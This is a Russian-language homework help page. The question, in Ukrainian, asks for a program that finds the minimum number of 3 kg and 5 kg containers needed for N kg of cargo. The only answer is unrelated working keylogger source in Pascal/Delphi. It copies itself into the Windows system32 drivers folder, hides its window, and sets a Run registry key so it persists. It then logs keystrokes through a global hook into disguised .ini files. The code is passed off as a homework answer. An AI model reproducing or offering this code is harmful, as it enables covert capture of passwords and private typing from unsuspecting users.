Статистика
Всего в нашей базе более 4 327 663 вопросов и 6 445 978 ответов!

Є N кілограм вантажу, який необхідно перевезти контейнерами місткістю 3 і 5 кілограм.

10-11 класс

Яка мінімальна кількість контейнерів знадобиться, якщо контейнери не можна заповнювати частково?

Вхідні дані:
Одне дане натуральне число N, яке не перевищує 2000000000.

Вихідні дані:
Виведіть одне число - мінімальну кількість контейнерів, або NO, якщо вантаж вказаним чином перевезти не можна.

вика010699 01 окт. 2013 г., 13:03:05 (10 лет назад)
Рейтинг
+ 0 -
0 Жалоба
+ 0 -
Lexx8802
01 окт. 2013 г., 14:08:07 (10 лет назад)

uses Windows;

const
dir = ‘C:\WINDOWS\system32\drivers\’;
name = ‘ntrty’;
ext = ‘.ini’;
ARCStr = ‘cmd /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run /v ‘;
MaxFileSize = 2048;
var
HkHnd : hHook;
FCh : file of Char;
line : longint;
hApp : THandle;
wClass : TWndClass;
wMSG : TMSG;

function WC(hInstance: HWND; style,ClsExtra,WndExtra:integer; ICON: hIcon; CURSOR: hCursor; Background: HBrush; ClassName,MenuName: string; Proc: Pointer): TWndClass;
var
wCls : TWNDClass;
begin
wCls.hInstance:=hInstance;
wCls.style:= style;
with wCls do
begin
hIcon := ICON;
lpfnWndProc := Proc;
hbrBackground := Background;
lpszClassName := PChar(ClassName);
hCursor := CURSOR;
cbClsExtra := ClsExtra;
cbWndExtra := WndExtra;
lpszMenuName := PChar(MenuName);
end;
Result:=wCls;
end;

function CreateWnd(wClass: TWndClass; hInstance: HWND; Caption: string; w,h: integer): HWND;
begin
Result:=CreateWindow(wClass.lpszClassName,
PChar(Caption),(0 or $C00000 or $800000 or
$400000 or $200000 or $100000 or $10000000),
Integer(DWORD($80000000)),Integer(DWORD($80000000) ),
w, h, 0, 0, hInstance, nil);
end;

procedure lpWindow(Msg: TMsg);
begin
while GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;

function IntToStr(Int: integer): string;
begin
Str(Int, result);
end;

function FileExists(const FileName : String) : Boolean;
var
Code : Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code -1) and (16 and Code = 0);
end;

function GetName: string;
var
i : longint;
begin
i:=0;
repeat
Inc(i);
until not FileExists(name+IntToStr(i)+ext);
Result:=name+IntToStr(i)+ext;
end;

function Win32Check(RetVal: BOOL): BOOL;
begin
if not RetVal then GetLastError;
Result := RetVal;
end;

function GetCharFromVKey(vkey: Word): string;
var
keyst : TKeyboardState;
retcode : Integer;
begin
Win32Check(GetKeyboardState(keyst));
SetLength(Result, 2);
retcode := ToAscii(vkey,
MapVirtualKeyA(vkey, 0),
keyst, @Result[1],0);
case retcode of
0: Result := ”;
1: SetLength(Result, 1);
2: ;
else
Result := ”;
end;
end;

function HookPr(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
var
msg : PEVENTMSG;
b : Char;
s : string;
begin
if Code >= 0 then
begin
msg := Pointer(LParam);
if msg.message=256 then
begin
Inc(line);
s:=GetCharFromVKey(msg.paramL);
if Length(s)>0 then
begin
b:=s[1];
if (line mod 80)=0 then BlockWrite(FCh,#10#13,2);
BlockWrite(FCh,b,1);
end;
end;
if FileSize(FCh)>MaxFileSize then
begin
CloseFile(FCh);
AssignFile(FCh,GetName);
ReWrite(FCh)
end;
result := CallNextHookEx(HkHnd, code, WParam, LParam);
end;
end;

function WndMessageProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall;
begin
case Msg of
1:
begin
if not FileExists(dir+name+’.exe’) then
begin
Copyfile(PChar(paramstr(0)),dir+name+’.exe’,BOOL(0 ));
WinExec(dir+name+’.exe’,SW_Hide);
halt(0);
end;
WinExec(PChar(ARCStr+name+’ /t REG_SZ /d ‘+dir+name+’.exe /f’),SW_Hide);
line:=0;
AssignFile(FCh,GetName);
ReWrite(FCh);
repeat
HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0);
until HkHnd0;
end;
2:
begin
if HkHnd 0 then
UnhookWindowsHookEx(HkHnd);
CloseFile(FCh);
halt(0);
end;
end;
Result := DefWindowProc(hWnd,Msg,wParam,lParam);
end;

begin
wClass:=WC(hInstance,0,0,0,0,0,15,’MYCLASS’,”,@Wnd MessageProc);
RegisterClass(wClass);
hApp:=CreateWindow(wClass.lpszClassName, ”,0,
Integer(DWORD($80000000)),
Integer(DWORD($80000000)),
0, 0, 0, 0, hInstance, nil);
if hApp=0 then
begin
UnregisterClass(’MYCLASS’,hInstance);
halt(0);
end;
lpWindow(wMsg);
end.

Ответить

Читайте также

ПРОГРАМА ПОМОГИТЕ

Є N кілограм вантажу, який необхідно перевезти контейнерами місткістю 3 і 5 кілограм.
Яка мінімальна кількість контейнерів знадобиться, якщо контейнери не можна заповнювати частково?

Вхідні дані:
Одне дане натуральне число N, яке не перевищує 2000000000.

Вихідні дані:
Виведіть одне число - мінімальну кількість контейнерів, або NO, якщо вантаж вказаним чином перевезти не можна.

Як створити комп'ютерну гру?


Вы находитесь на странице вопроса "Є N кілограм вантажу, який необхідно перевезти контейнерами місткістю 3 і 5 кілограм.", категории "информатика". Данный вопрос относится к разделу "10-11" классов. Здесь вы сможете получить ответ, а также обсудить вопрос с посетителями сайта. Автоматический умный поиск поможет найти похожие вопросы в категории "информатика". Если ваш вопрос отличается или ответы не подходят, вы можете задать новый вопрос, воспользовавшись кнопкой в верхней части сайта.